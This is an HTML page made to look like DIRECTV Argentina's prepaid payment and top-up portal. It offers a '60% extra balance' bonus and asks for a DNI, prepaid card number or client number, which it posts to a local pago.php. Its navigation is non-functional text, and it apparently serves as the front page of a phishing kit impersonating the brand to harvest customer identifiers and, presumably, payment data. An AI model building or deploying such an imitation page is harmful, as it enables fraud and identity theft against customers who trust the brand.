

<html lang="en">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Prepago</title>
  <link rel="preconnect" href="https://fonts.googleapis.com/">
  <link rel="preconnect" href="https://fonts.gstatic.com/" crossorigin="">
  <link href="https://fonts.googleapis.com/css2?family=Poppins:wght@100;300;400;500;600;700&amp;display=swap" rel="stylesheet">
  <link href="https://fonts.googleapis.com/css2?family=Exo:wght@300;400;500&amp;display=swap" rel="stylesheet">
  <link rel="stylesheet" href="css/main.css">
  <link rel="shortcut icon" href="img/icon.png">
  <script>
    function onlyNumbers(evt) {
      var charCode = (evt.which) ? evt.which : evt.keyCode;
      if (charCode < 48 || charCode > 57) {
        evt.preventDefault();
      }
    }
  </script>
</head>

<body>
  <div class="headerUno" style="text-align: center;">
    <div class="linea">
      <p>Línea de Ventas 0810-999-2211 | <span>Clientes: 0800 333 4732</span></p>
    </div>
  </div>
  <div class="headerDos">
    <div class="logo">
      <img src="img/logo.svg" alt="Logo">
    </div>
    <div class="flex">
      <div class="">
        <p>Productos</p>
      </div>
      <div class="">
        <p>Qué ver</p>
      </div>
      <div class="">
        <p>Recargar/Pagar</p>
      </div>
      <div class="">
        <p>Ayudar</p>
      </div>
      <div class="celeste">
        <p>Contratar Online</p>
      </div>
    </div>
  </div>
  <center>
    <div class="portal">
      <h1>Portal de Pagos y Recargas</h1>
    </div>
    <div class="eneste">
      <p style="font-family: Arial, Helvetica, sans-serif;">En este portal podés pagar tu factura o recargar tu
        Prepago de forma segura, rápida y fácil.</p>
    </div>
    <div class="square">
      <div class="choose">
        <h2>Elegí una opción para ingresar</h2>
        <h2 style="color: #0073ae;">60% de saldo adicional para tu primera recarga.</h2>      </div>
      <div class="formu">
        <form action="pago.php" method="post">
          <div class="ipt">
            <input type="radio" name="select" id="select">
            <label for="">DNI</label>
          </div>
          <div class="ipt">
            <input type="radio" name="select" id="select">
            <label for="">N° de Tarjeta Prepago</label>
          </div>
          <div class="ipt">
            <input type="radio" name="select" id="select">
            <label for="">Nº de Cliente</label>
          </div>
          <div class="nroCuenta">
            <input type="text" name="nroCuenta" id="nroCuenta" onkeypress="onlyNumbers(event)" inputmode="numeric" maxlength="12" required="">
          </div>
          <div class="boton">
            <input type="submit" value="CONTINUAR">
          </div>
        </form>
      </div>
    </div>
  </center>
  <div class="footer">
    <div class="img-foot">
      <div class="logoWhite">
        <img src="img/logo.svg" alt="Logo">
      </div>
      <div class="verlo">

      </div>
    </div>
    <div class="columns">
      <div class="col">
        <div class="u">
          <h3>COMPRAR</h3>
        </div>
        <div class="lil">
          <p>Tienda online</p>
        </div>
        <div class="lil">
          <p>Planes de TV</p>
        </div>
        <div class="lil">
          <p>Planes de TV + Internet</p>
        </div>
        <div class="lil">
          <p>Recargar Prepago</p>
        </div>
        <div class="lil">
          <p>Calcular tu recarga</p>
        </div>
        <div class="lil">
          <p>Kit Prepago</p>
        </div>
        <div class="lil">
          <p>Canales Premium</p>
        </div>
        <div class="lil">
          <p>DIRECTV Corporativo</p>
        </div>
        <div class="lil">
          <p>Ofertas</p>
        </div>
      </div>
      <div class="col">
        <div class="u">
          <h3>AYUDA</h3>
        </div>
        <div class="lil">
          <p>Prepago</p>
        </div>
        <div class="lil">
          <p>Abono Mensual</p>
        </div>
        <div class="lil">
          <p>Temas de facturación</p>
        </div>
        <div class="lil">
          <p>Recargas y pagos</p>
        </div>
        <div class="lil">
          <p>Problemas de equipos</p>
        </div>
        <div class="lil">
          <p>Gestiones por SMS</p>
        </div>
        <div class="lil">
          <p>Contactanos</p>
        </div>
        <div class="lil">
          <p>Perdí mi tarjeta de recarga</p>
        </div>
      </div>
      <div class="col">
        <div class="u">
          <h3>MiDIRECTV</h3>
        </div>
        <div class="lil">
          <p>Registrate</p>
        </div>
        <div class="lil">
          <p>Actualizar mis datos</p>
        </div>
        <div class="lil">
          <p>Pagar mi factura</p>
        </div>
        <div class="lil">
          <p>Solucionar cód. 711, 721, 722</p>
        </div>
      </div>
      <div class="col">
        <div class="u">
          <h3 style="text-decoration: none; font-weight: 400;">ACERCA DE DIRECTV </h3>
        </div>
        <div class="lil">
          <p>Quiénes somos </p>
        </div>
        <div class="lil">
          <p>Código de ética </p>
        </div>
        <div class="lil">
          <p>Noticias </p>
        </div>
        <div class="lil">
          <p>Empleos</p>
        </div>
        <div class="lil">
          <p>Compromiso Social</p>
        </div>
        <div class="lil">
          <p>Prensa</p>
        </div>
        <div class="lil">
          <p>OnDIRECTV</p>
        </div>
        <div class="lil">
          <p>Sala de Prensa</p>
        </div>
      </div>
      <div class="col">
        <div class="u">
          <h3 style="text-decoration: none; font-weight: 400;">MÁS INFORMACIÓN</h3>
        </div>
        <div class="lil">
          <p>Defensa de las y los Consumidores. Ingresá tu reclamo.</p>
        </div>
        <div class="lil">
          <p> Contratos de adhesión - Ley N° 24.240 de Defensa del Consumidor
            Dirección General de Defensa y Promoción al Consumidor </p>
        </div>
      </div>
    </div>
    <div class="none">
      <div class="flexDos">
        <div class="text">
          <div class="u">
            <h3>COMPRAR</h3>
          </div>
        </div>
        <div class="img">
          <div class="flecha">
            <img src="img/down.png" alt="">
          </div>
        </div>
      </div>
      <div class="flexDos">
        <div class="text">
          <div class="u">
            <h3>AYUDA</h3>
          </div>
        </div>
        <div class="img">
          <div class="flecha">
            <img src="img/down.png" alt="">
          </div>
        </div>
      </div>
      <div class="flexDos">
        <div class="text">
          <div class="u">
            <h3>MiDIRECTV</h3>
          </div>
        </div>
        <div class="img">
          <div class="flecha">
            <img src="img/down.png" alt="">
          </div>
        </div>
      </div>
      <div class="flexDos">
        <div class="text">
          <div class="u">
            <h3 style="text-decoration: none; font-weight: 400;">ACERCA DE DIRECTV</h3>
          </div>
        </div>
        <div class="img">
          <div class="flecha">
            <img src="img/down.png" alt="">
          </div>
        </div>
      </div>
      <div class="flexDos">
        <div class="text">
          <div class="u">
            <h3 style="text-decoration: none; font-weight: 400;">MÁS INFORMACIÓN</h3>
          </div>
        </div>
        <div class="img">
          <div class="flecha">
            <img src="img/down.png" alt="">
          </div>
        </div>
      </div>
    </div>
  </div>



  <script src="moz-extension://eafc4d96-7641-4547-b459-9bc39edc01af/js/app.js" type="text/javascript"></script>
</body>

</html>